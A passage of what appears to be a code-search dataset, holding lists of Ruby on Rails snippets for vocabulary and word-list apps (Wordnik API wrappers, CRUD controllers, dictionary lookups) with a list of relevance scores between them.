"def get_phrases(word, *args)\n http_method = :get\n path = '/word/{word}/phrases'\n path.sub!('{word}', word.to_s)\n\n # Ruby turns all key-value arguments at the end into a single hash\n # e.g. Wordnik.word.get_examples('dingo', :limit => 10, :part_of_speech => 'verb')\n # becomes {:limit => 10, :part_of_speech => 'verb'}\n last_arg = args.pop if args.last.is_a?(Hash)\n last_arg = args.pop if args.last.is_a?(Array)\n last_arg ||= {}\n\n # Look for a kwarg called :request_only, whose presence indicates\n # that we want the request itself back, not the response body\n if last_arg.is_a?(Hash) && last_arg[:request_only].present?\n request_only = true\n last_arg.delete(:request_only)\n end\n\n params = last_arg\n body ||= {}\n request = Wordnik::Request.new(http_method, path, :params => params, :body => body)\n request_only ? request : request.response.body\n end",
"def update\n respond_to do |format|\n if @vocab.update(vocab_params)\n format.html { redirect_to @vocab, notice: \"Vocab was successfully updated.\" }\n format.json { render :show, status: :ok, location: @vocab }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @vocab.errors, status: :unprocessable_entity }\n end\n end\n end",
"def dictionary()\n return @data[:words]\n end",
"def index\n @vocabularies = Vocabulary.where(parent: nil).order(:label)\n end",
"def list_transcription_vocabularies_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TranscriptionVocabulariesApi.list_transcription_vocabularies ...'\n end\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] > 10\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling TranscriptionVocabulariesApi.list_transcription_vocabularies, must be smaller than or equal to 10.'\n end\n\n # resource path\n local_var_path = '/video/v1/transcription-vocabularies'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'ListTranscriptionVocabulariesResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['accessToken']\n\n new_options = opts.merge(\n :operation => :\"TranscriptionVocabulariesApi.list_transcription_vocabularies\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TranscriptionVocabulariesApi#list_transcription_vocabularies\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def words\n @words ||= (\n load_words(1000) || corpus.words.to_h(1000)\n )\n end",
"def set_vocabulary\n @vocabulary = Vocabulary.find(params[:id])\n end",
"def index\n @ms_words = MsWord.all\n end",
"def set_vocabulaire\n @vocabulaire = Vocabulaire.find(params[:id])\n end",
"def get_word_of_the_day_lists_containing_word(*args)\n http_method = :get\n path = '/words/wordOfTheDayLists'\n\n # Ruby turns all key-value arguments at the end into a single hash\n # e.g. Wordnik.word.get_examples('dingo', :limit => 10, :part_of_speech => 'verb')\n # becomes {:limit => 10, :part_of_speech => 'verb'}\n last_arg = args.pop if args.last.is_a?(Hash)\n last_arg = args.pop if args.last.is_a?(Array)\n last_arg ||= {}\n\n # Look for a kwarg called :request_only, whose presence indicates\n # that we want the request itself back, not the response body\n if last_arg.is_a?(Hash) && last_arg[:request_only].present?\n request_only = true\n last_arg.delete(:request_only)\n end\n\n params = last_arg\n body ||= {}\n request = Wordnik::Request.new(http_method, path, :params => params, :body => body)\n request_only ? request : request.response.body\n end",
"def create\n @spanish_vocab = SpanishVocab.new(params[:spanish_vocab])\n\n respond_to do |format|\n if @spanish_vocab.save\n format.html { redirect_to @spanish_vocab, notice: 'Spanish vocab was successfully created.' }\n format.json { render json: @spanish_vocab, status: :created, location: @spanish_vocab }\n else\n format.html { render action: \"new\" }\n format.json { render json: @spanish_vocab.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @words = Word.all.page params[:page]\n \n respond_to do |format|\n format.html\n format.js { }\n format.json { render json: WordsHelper::WordsDataTable.new(view_context) }\n end\n end",
"def create\n logger.debug \"-----create-----\"\n @vocab_word = VocabWord.new(vocab_word_params)\n logger.debug \"-----before do-----\"\n logger.debug \"---\" + vocab_word_params.to_s\n respond_to do |format|\n if @vocab_word.save\n format.html { redirect_to @vocab_word, notice: 'Vocab word was successfully created.' }\n format.json { render :show, status: :created, location: @vocab_word }\n else\n format.html { render :new }\n format.json { render json: @vocab_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @text = this_class.find(params[:id])\n return forbidden if not authorized? :show, @text\n @words = @text.words.page params[:page]\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @text }\n end\n end",
"def show\n @word_list = WordList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @word_list }\n end\n end",
"def index\n if !params[:language].nil?\n @words = Word.where(language:params[:language], user_id:current_user.id)\n else\n @words = nil\n end\n end",
"def get_word_forms(word, *args)\n http_method = :get\n path = '/word/{word}/wordForms'\n path.sub!('{word}', word.to_s)\n\n # Ruby turns all key-value arguments at the end into a single hash\n # e.g. Wordnik.word.get_examples('dingo', :limit => 10, :part_of_speech => 'verb')\n # becomes {:limit => 10, :part_of_speech => 'verb'}\n last_arg = args.pop if args.last.is_a?(Hash)\n last_arg = args.pop if args.last.is_a?(Array)\n last_arg ||= {}\n\n # Look for a kwarg called :request_only, whose presence indicates\n # that we want the request itself back, not the response body\n if last_arg.is_a?(Hash) && last_arg[:request_only].present?\n request_only = true\n last_arg.delete(:request_only)\n end\n\n params = last_arg\n body ||= {}\n request = Wordnik::Request.new(http_method, path, :params => params, :body => body)\n request_only ? request : request.response.body\n end",
"def vocabulary_list(levels = nil)\n return level_items_list(\"vocabulary\", levels)\n end",
"def possible_words\n\t\t\t@dictionary.grep to_r\n\t\tend",
"def index\n authorize(Vocabulary)\n @permitted_params = params.permit(Search::RESULTS_PARAMS +\n Search::SIMPLE_SEARCH_PARAMS +\n [:institution_id])\n @start = [@permitted_params[:start].to_i.abs, MAX_START].min\n @window = window_size\n @vocabularies = Vocabulary.\n where(institution: current_institution).\n order(:name)\n @count = @vocabularies.count\n @vocabularies = @vocabularies.limit(@window).offset(@start)\n @current_page = ((@start / @window.to_f).ceil + 1 if @window > 0) || 1\n end",
"def show\n @words = @word_list.words.limit\n end",
"def index\n @word_pairs = WordPair.paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @word_pairs }\n end\n end",
"def load_vocab_translations\n pp_nl_serialized = File.read(\"#{$filepath_nl}alle danyvertalingen qff export.json\")\n pp_nl = JSON.parse(pp_nl_serialized)\n\n #orgins of words: passaporte (and chapter) or other\n construct_book_origins(pp_nl[\"folders\"])\n \n #saving the words to the database with reference to passaporte_words\n pp_nl[\"words\"].each do |ppnl_line|\n word_pt_raw = ppnl_line[\"word\"]\n word_pt_split = Translation.split_article_front(word_pt_raw)\n word_pt = word_pt_split[:word]\n genre_pt = word_pt_split[:article]\n # puts \"for word_pt_split: #{word_pt_split}\"\n passaporte_found = passaporte_unit?(word_pt_split)\n # puts \"found?:\"\n # puts passaporte_found\n pt_translation = nil\n if !passaporte_found.nil?\n pt_transl = Translation.find_by word_pt:word_pt_split[:word], genre_pt:word_pt_split[:article]\n # puts pt_transl\n end\n # puts \"pt_transl:\"\n # puts pt_transl\n translation_array = ppnl_line[\"translations\"]\n save_nl_translation(word_pt, pt_transl, genre_pt,translation_array, ppnl_line[\"comments\"])\n end\nend",
"def index\n @ojibwe_words = OjibweWord.all\n end",
"def destroy\n @vocab = Vocab.find(params[:id])\n @vocab.destroy\n\n respond_to do |format|\n format.html { redirect_to(vocabs_url) }\n format.xml { head :ok }\n end\n end",
"def index\n # Uses will_paginate gem\n @words = Word\n .includes(\n definitions: [\n { related_definitions: :word },\n :places,\n :alt_spellings,\n :source_materials,\n :source_dates\n ]\n )\n .order(sort_order)\n .paginate(page: params[:page], per_page: 50)\n .load\n end",
"def create\n word = Word.new(params['term'], false)\n\n # check to see if the word exists on the board\n board = Boggle.new\n exists = board.search(word.term, params['tiles'])\n\n # now, see if the word is an actual English word\n if exists\n\n # check the cache first - only go to the oxford dictionary if\n # it doesn't exist in our simple word cache\n word_cache_store = MiniCache::Store.new\n if !word_cache_store.get(word.term).nil?\n word.exists = true\n else\n # allowing exceptions from underlying api to throw 500 status code\n # and generate a log entry - to protect system from downstream\n # latency and failures, use circuit breaker\n word.exists = @dictionary_gateway.exists(word.term)\n word_cache_store.set(word.term, '') if word.exists\n\n end\n end\n\n render json: word\n end",
"def destroy\n @vocab.destroy\n respond_to do |format|\n format.html { redirect_to vocabs_url, notice: \"Vocab was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def get_listed_in(word, *args)\n http_method = :get\n path = '/word/{word}/listedIn'\n path.sub!('{word}', word.to_s)\n\n # Ruby turns all key-value arguments at the end into a single hash\n # e.g. Wordnik.word.get_examples('dingo', :limit => 10, :part_of_speech => 'verb')\n # becomes {:limit => 10, :part_of_speech => 'verb'}\n last_arg = args.pop if args.last.is_a?(Hash)\n last_arg = args.pop if args.last.is_a?(Array)\n last_arg ||= {}\n\n # Look for a kwarg called :request_only, whose presence indicates\n # that we want the request itself back, not the response body\n if last_arg.is_a?(Hash) && last_arg[:request_only].present?\n request_only = true\n last_arg.delete(:request_only)\n end\n\n params = last_arg\n body ||= {}\n request = Wordnik::Request.new(http_method, path, :params => params, :body => body)\n request_only ? request : request.response.body\n end",
"def has_vocab_in_sentence words, vocabs\n\tvocabs.each do |vocab|\n\t\tif words.include? vocab\n\t\t\treturn true\n\t\tend\n\tend\n\treturn false\nend",
"def english_word(attempt)\n url = \"https://wagon-dictionary.herokuapp.com/#{attempt}\"\n # Jason \"https://wagon-dictionary.herokuapp.com/#{attempt}\"\n raw_response = open(url).read\n JSON.parse(raw_response, symbolize_names: true)\n end",
"def get_random_word(*args)\n http_method = :get\n path = '/words/randomWord'\n\n # Ruby turns all key-value arguments at the end into a single hash\n # e.g. Wordnik.word.get_examples('dingo', :limit => 10, :part_of_speech => 'verb')\n # becomes {:limit => 10, :part_of_speech => 'verb'}\n last_arg = args.pop if args.last.is_a?(Hash)\n last_arg = args.pop if args.last.is_a?(Array)\n last_arg ||= {}\n\n # Look for a kwarg called :request_only, whose presence indicates\n # that we want the request itself back, not the response body\n if last_arg.is_a?(Hash) && last_arg[:request_only].present?\n request_only = true\n last_arg.delete(:request_only)\n end\n\n params = last_arg\n body ||= {}\n request = Wordnik::Request.new(http_method, path, :params => params, :body => body)\n request_only ? request : request.response.body\n end",
"def index\n @lesson_words = LessonWord.all\n end",
"def show\n logger.debug \"-----show----- \" + @vocab_word.word\n #@vocab_word = VocabWord.first\n logger.debug \"-----id----- \" + @vocab_word.id.to_s\n end",
"def words\n @words\n end",
"def create\n @word = Word.new(word_params)\n\n respond_to do |format|\n if @word.save\n format.html { redirect_to root_path, notice: 'Word was successfully created.' }\n format.json { render :show, status: :created, location: @word }\n \n parameters = {\n headers: {\n \"Accept\": \"application/json\",\n \"app_id\": \"#{ENV['oed_app_id']}\",\n \"app_key\": \"#{ENV['oed_app_key']}\",\n }\n }\n \n # response = HTTParty.get(\"https://od-api.oxforddictionaries.com:443/api/v1/entries/en/#{params[:word]}\", parameters)\n \n \n # @definition = response['results'][0]['lexicalEntries'][0]['entries'][0]['senses'][0]['definitions'][0]\n\n else\n format.html { render :new }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_word(word, *args)\n http_method = :get\n path = '/word/{word}'\n path.sub!('{word}', word.to_s)\n\n # Ruby turns all key-value arguments at the end into a single hash\n # e.g. Wordnik.word.get_examples('dingo', :limit => 10, :part_of_speech => 'verb')\n # becomes {:limit => 10, :part_of_speech => 'verb'}\n last_arg = args.pop if args.last.is_a?(Hash)\n last_arg = args.pop if args.last.is_a?(Array)\n last_arg ||= {}\n\n # Look for a kwarg called :request_only, whose presence indicates\n # that we want the request itself back, not the response body\n if last_arg.is_a?(Hash) && last_arg[:request_only].present?\n request_only = true\n last_arg.delete(:request_only)\n end\n\n params = last_arg\n body ||= {}\n request = Wordnik::Request.new(http_method, path, :params => params, :body => body)\n request_only ? request : request.response.body\n end",
"def index\n @glossaries = []\n err = init_var()\n if(@dict_id!=nil)\n\n\t\tif params[:to_search] == nil or \n\t\t params[:to_search] == '' \n\t\t @glossaries = Glossary.where(\n\t\t \t\t\t [ \"dict_id = :dict_id \",\n\t\t\t\t{ dict_id: @dict_id } ] ).limit(100)\n\t\telse\n\t\t @glossaries = Glossary.where(\n\t\t\t [ \"dict_id = :dict_id and key_words = :key_words \",\n\t\t\t\t{ dict_id: @dict_id , key_words: params[:to_search] } ] )\n\t\tend\n\tend\n end",
"def index\n @q = Word.ransack(params[:q])\n @words = @q.result(distinct: true)\n\n @words = @words.paginate(:page => params[:page], :per_page => 8)\n end",
"def show\n @words_page = WordsPage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @words_page }\n end\n end",
"def word_list\n # Returning only the terms of each definition as an array.\n list_of_terms = @words.map do |key, definition_instance|\n definition_instance.term\n end\n end",
"def word_params\n params.require(:word).permit(:text)\n end",
"def load_words\n case @strategy\n when :user\n @words = twitter_user.status.text.split(/\\s/) \n when :search\n @words = twitter_search(@term).statuses.map(&:text).join(\" \").split(/\\s/)\n end\n end",
"def words\n terms.collect { |t| t.word }\n end",
"def parse_vocab(line)\n line.split(/[ \\t]+/)\nend",
"def new\n @spanish_vocab = SpanishVocab.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @spanish_vocab }\n end\n end",
"def show\n @word_index = WordIndex.where(:word => params[:id]).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @word_index }\n end\n end",
"def pick_words \n if @num_words == 0\n @word_list = @tf_in_dataset.keys\n else\n @word_list = @tf_in_dataset.to_a.sort { |a, b| b[1] <=> a[1] }.take(@num_words).map { |a| a[0] }\n end\n end",
"def index\n @paper_words = PaperWord.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @paper_words }\n end\n end",
"def destroy\n @spanish_vocab = SpanishVocab.find(params[:id])\n @spanish_vocab.destroy\n\n respond_to do |format|\n format.html { redirect_to spanish_vocabs_url }\n format.json { head :no_content }\n end\n end",
"def index\n @wordclasses = Wordclass.all\n end",
"def display_words\n words = self.dictionary.map do |dictionary_entry|\n dictionary_entry.word.lexical_item\n end\n words \n end",
"def get_text_pronunciations(word, *args)\n http_method = :get\n path = '/word/{word}/pronunciations'\n path.sub!('{word}', word.to_s)\n\n # Ruby turns all key-value arguments at the end into a single hash\n # e.g. Wordnik.word.get_examples('dingo', :limit => 10, :part_of_speech => 'verb')\n # becomes {:limit => 10, :part_of_speech => 'verb'}\n last_arg = args.pop if args.last.is_a?(Hash)\n last_arg = args.pop if args.last.is_a?(Array)\n last_arg ||= {}\n\n # Look for a kwarg called :request_only, whose presence indicates\n # that we want the request itself back, not the response body\n if last_arg.is_a?(Hash) && last_arg[:request_only].present?\n request_only = true\n last_arg.delete(:request_only)\n end\n\n params = last_arg\n body ||= {}\n request = Wordnik::Request.new(http_method, path, :params => params, :body => body)\n request_only ? request : request.response.body\n end",
"def word\n Word.find_by(text: params[:text])\n end",
"def index\n @vocabulary_terms = VocabularyTerm.order(:label)\n end",
"def destroy\n @controlled_vocabulary.destroy\n respond_to do |format|\n format.html { redirect_to controlled_vocabularies_url }\n format.json { head :no_content }\n end\n end",
"def show\n api = Apikey.find_by(api_key: params[:api_key])\n api['count'] += 1\n if api.save\n word = params[:word_id]\n\n word_id = Word.where(word_name: word)\n @definitions = Definition.where(word_id: word_id.ids)\n render json:{\n id: @definitions\n }\n else\n flash[:notice] = 'Invalid'\n redirect_to apikeys_path\n end\n end",
"def words\n @words\n end",
"def word_list\n @word_list\n end",
"def create\n @vocabulary = Vocabulary.new(vocabulary_params)\n\n respond_to do |format|\n if @vocabulary.save\n format.html { redirect_to @vocabulary, notice: 'Vocabulary was successfully created.' }\n format.json { render :show, status: :created, location: @vocabulary }\n else\n format.html { render :new }\n format.json { render json: @vocabulary.errors, status: :unprocessable_entity }\n end\n end\n end",
"def vocabulaire_params\n params.require(:vocabulaire).permit(:mot_directeur, :compteur, :francais, :italien)\n end",
"def word_params\n params.require(:word).permit(:title, :description, :category_ids)\n end",
"def index\n @spanish_words = SpanishWord.all\n end",
"def get_definitions(word, *args)\n http_method = :get\n path = '/word/{word}/definitions'\n path.sub!('{word}', word.to_s)\n\n # Ruby turns all key-value arguments at the end into a single hash\n # e.g. Wordnik.word.get_examples('dingo', :limit => 10, :part_of_speech => 'verb')\n # becomes {:limit => 10, :part_of_speech => 'verb'}\n last_arg = args.pop if args.last.is_a?(Hash)\n last_arg = args.pop if args.last.is_a?(Array)\n last_arg ||= {}\n\n # Look for a kwarg called :request_only, whose presence indicates\n # that we want the request itself back, not the response body\n if last_arg.is_a?(Hash) && last_arg[:request_only].present?\n request_only = true\n last_arg.delete(:request_only)\n end\n\n params = last_arg\n body ||= {}\n request = Wordnik::Request.new(http_method, path, :params => params, :body => body)\n request_only ? request : request.response.body\n end",
"def index\n authorize ControlledVocabulary\n @cv = ControlledVocabulary.new\n end",
"def show_by_original_word\n @translated_word = TranslatedWord.find_by_word_id(Word.find_by_text(params[:wordtext]))\n respond_to do |format|\n format.json do\n render :json => @translated_word.to_json(:include => :word )\n end\n end\n end",
"def get_words\n response = HTTParty.get('http://linkedin-reach.hagbpyjegb.us-west-2.elasticbeanstalk.com/words')\n converted_response = response.parsed_response\nend"
] |
[
"0.6881367",
"0.67803496",
"0.6658347",
"0.6625513",
"0.6545644",
"0.65180147",
"0.6476694",
"0.6476694",
"0.6469742",
"0.64538854",
"0.6389014",
"0.63863206",
"0.6380747",
"0.6372136",
"0.6322738",
"0.62874854",
"0.6276235",
"0.6267971",
"0.624049",
"0.6160532",
"0.61428565",
"0.6127734",
"0.6126927",
"0.6114304",
"0.610872",
"0.6088694",
"0.60883075",
"0.6085064",
"0.60561514",
"0.60488296",
"0.60426307",
"0.6040867",
"0.60300124",
"0.60201347",
"0.60054845",
"0.59976685",
"0.5997512",
"0.5981166",
"0.5971682",
"0.5953853",
"0.5933481",
"0.5927152",
"0.5919618",
"0.5919235",
"0.5910658",
"0.59036505",
"0.5903299",
"0.5889661",
"0.58827364",
"0.5881668",
"0.5876606",
"0.5874046",
"0.5859551",
"0.585697",
"0.585681",
"0.58560425",
"0.58512604",
"0.5842802",
"0.58421326",
"0.5840954",
"0.583532",
"0.58211833",
"0.58167917",
"0.581218",
"0.5803063",
"0.5801327",
"0.5794974",
"0.5791976",
"0.5790801",
"0.57876825",
"0.57733315",
"0.5767545",
"0.57641256",
"0.5757951",
"0.5751919",
"0.5746523",
"0.57464033",
"0.5743646",
"0.5738356",
"0.5732861",
"0.57241386",
"0.572347",
"0.5720999",
"0.5714596",
"0.5713551",
"0.5713064",
"0.57047564",
"0.5693192",
"0.5677475",
"0.5671934",
"0.5671907",
"0.56649184",
"0.5658597",
"0.5655751",
"0.5654427",
"0.56476796",
"0.5642459",
"0.5641811",
"0.5622259",
"0.5616149"
] |
0.7528659
|
0
|
GET /vocab_words/1 GET /vocab_words/1.json
|
def show
logger.debug "-----show----- " + @vocab_word.word
#@vocab_word = VocabWord.first
logger.debug "-----id----- " + @vocab_word.id.to_s
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n logger.debug \"-----index-----\"\n @vocab_words = VocabWord.all\n end",
"def set_vocab\n @vocab = Vocab.find(params[:id])\n end",
"def set_vocab_word\n logger.debug \"-----set_vocab_word----- \" + params[:id].to_s\n @vocab_word = VocabWord.find(params[:id])\n end",
"def show\n @spanish_vocab = SpanishVocab.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @spanish_vocab }\n end\n end",
"def vocab_word_params\n params.require(:vocab_word).permit(:id, :word, :lesson)\n end",
"def show\n @vocab = Vocab.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vocab }\n end\n end",
"def create\n @vocab = Vocab.new(vocab_params)\n\n respond_to do |format|\n if @vocab.save\n format.html { redirect_to @vocab, notice: \"Vocab was successfully created.\" }\n format.json { render :show, status: :created, location: @vocab }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @vocab.errors, status: :unprocessable_entity }\n end\n end\n end",
"def vocab_params\n params.require(:vocab).permit(:prefix, :uri)\n end",
"def parse_vocabulary1\n json = File.read(VOCABULARY_FILE)\n object = JSON.parse(json)\n result = []\n (1..6).each do |i|\n result.push(object[\"LEVEL#{i}\"][\"words\"])\n end\n result\n end",
"def index\n @vocabs = Vocab.all\n end",
"def update\n respond_to do |format|\n if @vocab.update(vocab_params)\n format.html { redirect_to @vocab, notice: \"Vocab was successfully updated.\" }\n format.json { render :show, status: :ok, location: @vocab }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @vocab.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vocab = Vocab.new(params[:vocab])\n\n respond_to do |format|\n if @vocab.save\n format.html { redirect_to(@vocab, :notice => 'Vocab was successfully created.') }\n format.xml { render :xml => @vocab, :status => :created, :location => @vocab }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @vocab.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @words = Word.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @words }\n end\n end",
"def update\n logger.debug \"-----update-----\"\n respond_to do |format|\n if @vocab_word.update(vocab_word_params)\n format.html { redirect_to @vocab_word, notice: 'Vocab word was successfully updated.' }\n format.json { render :show, status: :ok, location: @vocab_word }\n else\n format.html { render :edit }\n format.json { render json: @vocab_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n respond_with(@words = Word.all)\n end",
"def show\n @word_index = WordIndex.where(:word => params[:id]).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @word_index }\n end\n end",
"def show\n @word = Word.find(params[:id])\n\n #debug\n @texts = @word.texts\n ############################\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @word }\n end\n end",
"def destroy\n @vocab_word.destroy\n respond_to do |format|\n format.html { redirect_to vocab_words_url, notice: 'Vocab word was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def index\n @frequency_vocabularies = FrequencyVocabulary.all\n end",
"def set_vocabulaire\n @vocabulaire = Vocabulaire.find(params[:id])\n end",
"def create\n @spanish_vocab = SpanishVocab.new(params[:spanish_vocab])\n\n respond_to do |format|\n if @spanish_vocab.save\n format.html { redirect_to @spanish_vocab, notice: 'Spanish vocab was successfully created.' }\n format.json { render json: @spanish_vocab, status: :created, location: @spanish_vocab }\n else\n format.html { render action: \"new\" }\n format.json { render json: @spanish_vocab.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @words = Word.all\n end",
"def index\n @words = Word.all\n end",
"def get_vocabulary(vocabulary_id, type = 'word', page = 0, page_size = 50)\n raise ArgumentError, 'vocabulary_id was not provided and is not optional' if vocabulary_id.nil?\n vocab_url = \"/vocabulary/#{vocabulary_id}\"\n query = {\n page: page,\n pageSize: page_size\n }\n query.store('type', type) unless type.nil?\n response = self.class.get(vocab_url, headers: @headers, query: query)\n raise HttpException.new(\"There was a problem getting a vocabulary: #{response.code}.\",\n \"getting vocabulary #{vocabulary_id}\",\n response) unless response.success?\n NexosisApi::PagedArray.new(response.parsed_response,\n response.parsed_response['items']\n .map { |item| NexosisApi::VocabularyWord.new(item) })\n end",
"def new\n @spanish_vocab = SpanishVocab.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @spanish_vocab }\n end\n end",
"def destroy\n @vocab = Vocab.find(params[:id])\n @vocab.destroy\n\n respond_to do |format|\n format.html { redirect_to(vocabs_url) }\n format.xml { head :ok }\n end\n end",
"def getRandomWord\n @word = Wordnik.words.get_random_word(\n includePartOfSpeech: \"noun\",\n minLength: 5,\n maxLength: 10\n )\n if request.xhr?\n render :json => @word\n end\n end",
"def create\n @word = Word.new(word_params)\n\n respond_to do |format|\n if @word.save\n format.html { redirect_to root_path, notice: 'Word was successfully created.' }\n format.json { render :show, status: :created, location: @word }\n \n parameters = {\n headers: {\n \"Accept\": \"application/json\",\n \"app_id\": \"#{ENV['oed_app_id']}\",\n \"app_key\": \"#{ENV['oed_app_key']}\",\n }\n }\n \n # response = HTTParty.get(\"https://od-api.oxforddictionaries.com:443/api/v1/entries/en/#{params[:word]}\", parameters)\n \n \n # @definition = response['results'][0]['lexicalEntries'][0]['entries'][0]['senses'][0]['definitions'][0]\n\n else\n format.html { render :new }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @words = Word.order(:word).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @words }\n end\n end",
"def destroy\n @word.destroy\n respond_to do |format|\n format.html { redirect_to vocab_list_path }\n format.json { head :no_content }\n end\n end",
"def index\n # Get all registered ControlledVocabularies\n @controlled_vocabularies = ControlledVocabulary.all.order(:string_key)\n\n # Also get additional controlled vocabularies from UriService that haven't been registered\n controlled_vocabulary_string_keys = @controlled_vocabularies.map(&:string_key)\n @additional_uri_service_controlled_vocabularies = UriService.client.list_vocabularies(1000) # Ridiculously high limit to show all\n @additional_uri_service_controlled_vocabularies.delete_if { |uri_service_vocabulary| controlled_vocabulary_string_keys.include?(uri_service_vocabulary['string_key']) }\n end",
"def show\n @word_list = WordList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @word_list }\n end\n end",
"def show\n api = Apikey.find_by(api_key: params[:api_key])\n api['count'] += 1\n if api.save\n word = params[:word_id]\n\n word_id = Word.where(word_name: word)\n @definitions = Definition.where(word_id: word_id.ids)\n render json:{\n id: @definitions\n }\n else\n flash[:notice] = 'Invalid'\n redirect_to apikeys_path\n end\n end",
"def show\n @words = Dictionary.find(params[:id]).words.all\n @empty = @words.count.zero?\n respond_to do |format|\n format.html\n format.json do\n render json: {'empty': @empty, 'table': create_words_table(@words)}\n end\n end\n end",
"def destroy\n @vocab.destroy\n respond_to do |format|\n format.html { redirect_to vocabs_url, notice: \"Vocab was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def english_word(attempt)\n url = \"https://wagon-dictionary.herokuapp.com/#{attempt}\"\n # Jason \"https://wagon-dictionary.herokuapp.com/#{attempt}\"\n raw_response = open(url).read\n JSON.parse(raw_response, symbolize_names: true)\n end",
"def destroy\n @spanish_vocab = SpanishVocab.find(params[:id])\n @spanish_vocab.destroy\n\n respond_to do |format|\n format.html { redirect_to spanish_vocabs_url }\n format.json { head :no_content }\n end\n end",
"def create\n logger.debug \"-----create-----\"\n @vocab_word = VocabWord.new(vocab_word_params)\n logger.debug \"-----before do-----\"\n logger.debug \"---\" + vocab_word_params.to_s\n respond_to do |format|\n if @vocab_word.save\n format.html { redirect_to @vocab_word, notice: 'Vocab word was successfully created.' }\n format.json { render :show, status: :created, location: @vocab_word }\n else\n format.html { render :new }\n format.json { render json: @vocab_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_vocabulary\n @vocabulary = Vocabulary.find(params[:id])\n end",
"def new\n @vocab = Vocab.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vocab }\n end\n end",
"def update\n @vocab = Vocab.find(params[:id])\n\n respond_to do |format|\n if @vocab.update_attributes(params[:vocab])\n format.html { redirect_to(@vocab, :notice => 'Vocab was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vocab.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n word = Word.new(params['term'], false)\n\n # check to see if the word exists on the board\n board = Boggle.new\n exists = board.search(word.term, params['tiles'])\n\n # now, see if the word is an actual English word\n if exists\n\n # check the cache first - only go to the oxford dictionary if\n # it doesn't exist in our simple word cache\n word_cache_store = MiniCache::Store.new\n if !word_cache_store.get(word.term).nil?\n word.exists = true\n else\n # allowing exceptions from underlying api to throw 500 status code\n # and generate a log entry - to protect system from downstream\n # latency and failures, use circuit breaker\n word.exists = @dictionary_gateway.exists(word.term)\n word_cache_store.set(word.term, '') if word.exists\n\n end\n end\n\n render json: word\n end",
"def show\n @word = Word.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @word }\n end\n end",
"def show\n @word = Word.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @word }\n end\n end",
"def show\n @word = Word.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @word }\n end\n end",
"def show\n @word = Word.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @word }\n end\n end",
"def index\n @learnwordlists = Learnwordlist.all\n end",
"def index\n @vocabularies = Vocabulary.where(parent: nil).order(:label)\n end",
